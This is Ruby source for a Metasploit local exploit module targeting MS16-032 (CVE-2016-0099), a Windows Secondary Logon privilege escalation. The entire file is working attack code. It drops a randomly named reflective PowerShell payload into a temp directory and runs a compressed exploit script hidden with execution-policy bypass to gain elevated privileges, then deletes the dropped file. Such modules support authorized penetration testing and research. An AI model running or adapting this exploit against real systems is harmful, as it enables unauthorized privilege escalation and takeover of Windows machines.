##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Exploit::Powershell
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::File
  include Msf::Post::Windows::ReflectiveDLLInjection
  include Msf::Post::Windows::Powershell

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MS16-032 Secondary Logon Handle Privilege Escalation',
        'Description' => %q{
          This module exploits the lack of sanitization of standard handles in Windows' Secondary
          Logon Service.  The vulnerability is known to affect versions of Windows 7-10 and 2k8-2k12
          32 and 64 bit.  This module will only work against those versions of Windows with
          Powershell 2.0 or later and systems with two or more CPU cores.
        },
        'License' => BSD_LICENSE,
        'Notes' => {
          'Stability' => [],
          'SideEffects' => [],
          'Reliability' => []
        },
        'Author' => [
          'James Forshaw', # twitter.com/tiraniddo
          'b33f', # @FuzzySec, http://www.fuzzysecurity.com'
          'khr0x40sh'
        ],
        'References' => [
          [ 'MSB', 'MS16-032'],
          [ 'CVE', '2016-0099'],
          [ 'URL', 'https://twitter.com/FuzzySec/status/723254004042612736' ],
          [ 'URL', 'https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html']
        ],
        'DefaultOptions' => {
          'WfsDelay' => 30,
          'EXITFUNC' => 'thread'
        },
        'DisclosureDate' => '2016-03-21',
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [
          # Tested on (32 bits):
          # * Windows 7 SP1
          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
          # Tested on (64 bits):
          # * Windows 7 SP1
          # * Windows 8
          # * Windows 2012
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
        ],
        'DefaultTarget' => 0,
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_channel_eof
              core_channel_open
              core_channel_read
              core_channel_write
              stdapi_sys_process_execute
            ]
          }
        }
      )
    )

    register_advanced_options(
      [
        OptString.new('W_PATH', [false, 'Where to write temporary powershell file', nil]),
      ]
    )
  end

  def check
    unless session.platform == 'windows'
      # Non-Windows systems are definitely not affected.
      return Exploit::CheckCode::Safe
    end

    res = psh_exec 'if($([System.Environment]::ProcessorCount) -gt 1) { echo("true") }'
    unless res.include? 'true'
      vprint_error 'Target system has an insufficient number of processor cores'
      return Exploit::CheckCode::Safe
    end

    Exploit::CheckCode::Detected
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    if check == Exploit::CheckCode::Safe
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
    end

    # Exploit PoC from 'b33f'
    ps_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0099', 'cve_2016_0099.ps1')
    vprint_status("PS1 loaded from #{ps_path}")
    ms16_032 = File.read(ps_path, mode: 'rb')

    cmdstr = expand_path('%windir%') << '\\System32\\windowspowershell\\v1.0\\powershell.exe'

    payload_arch = framework.payloads.create(datastore['PAYLOAD']).arch.first

    if sysinfo['Architecture'] == ARCH_X64 && payload_arch == ARCH_X86
      cmdstr.gsub!('System32', 'SYSWOW64')
      print_warning('Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell')
      vprint_warning(cmdstr.to_s)
    end

    template_path = Rex::Powershell::Templates::TEMPLATE_DIR
    psh_payload = Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload.encoded)

    psh_payload = compress_script(psh_payload)

    @upfile = Rex::Text.rand_text_alpha(rand(6..13)) + '.ps1'
    path = datastore['W_PATH'] || expand_path('%TEMP%')
    @upfile = "#{path}\\#{@upfile}"
    fd = session.fs.file.new(@upfile, 'wb')
    print_status("Writing payload file, #{@upfile}...")
    fd.write(psh_payload)
    fd.close
    psh_cmd = " -exec Bypass -nonI -window Hidden #{@upfile}"

    # lpAppName
    ms16_032.gsub!('$cmd', "\"#{cmdstr}\"")
    # lpcommandLine - capped at 1024b
    ms16_032.gsub!('$args1', "\"#{psh_cmd}\"")
    end_flag = Rex::Text.rand_text_alphanumeric(32)
    ms16_032.gsub!('$end', end_flag)

    print_status('Compressing script contents...')
    ms16_032_c = compress_script(ms16_032)

    if ms16_032_c.size > 8100
      print_error("Compressed size: #{ms16_032_c.size}")
      error_msg = 'Compressed size may cause command to exceed '
      error_msg += "cmd.exe's 8kB character limit."
      print_error(error_msg)
    else
      print_good("Compressed size: #{ms16_032_c.size}")
    end

    print_status('Executing exploit script...')

    cmd = expand_path('%windir%')
    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
      cmd += '\\Sysnative'
    else
      cmd += '\\System32'
    end

    cmd += "\\windowspowershell\\v1.0\\powershell.exe -exec Bypass -nonI -window Hidden \"#{ms16_032_c}\""

    args = nil

    begin
      r = session.sys.process.execute(cmd, args, {
        'Hidden' => true,
        'Channelized' => true
      })

      while (d = r.channel.read)
        print(d)
        break if d.include? end_flag
      end
      r.channel.close
      r.close

      print_good('Executed on target machine.')
    rescue StandardError
      print_error('An error occurred executing the script.')
    end
  end

  def cleanup
    rm_f(@upfile)
    print_good("Deleted #{@upfile}")
  end
end
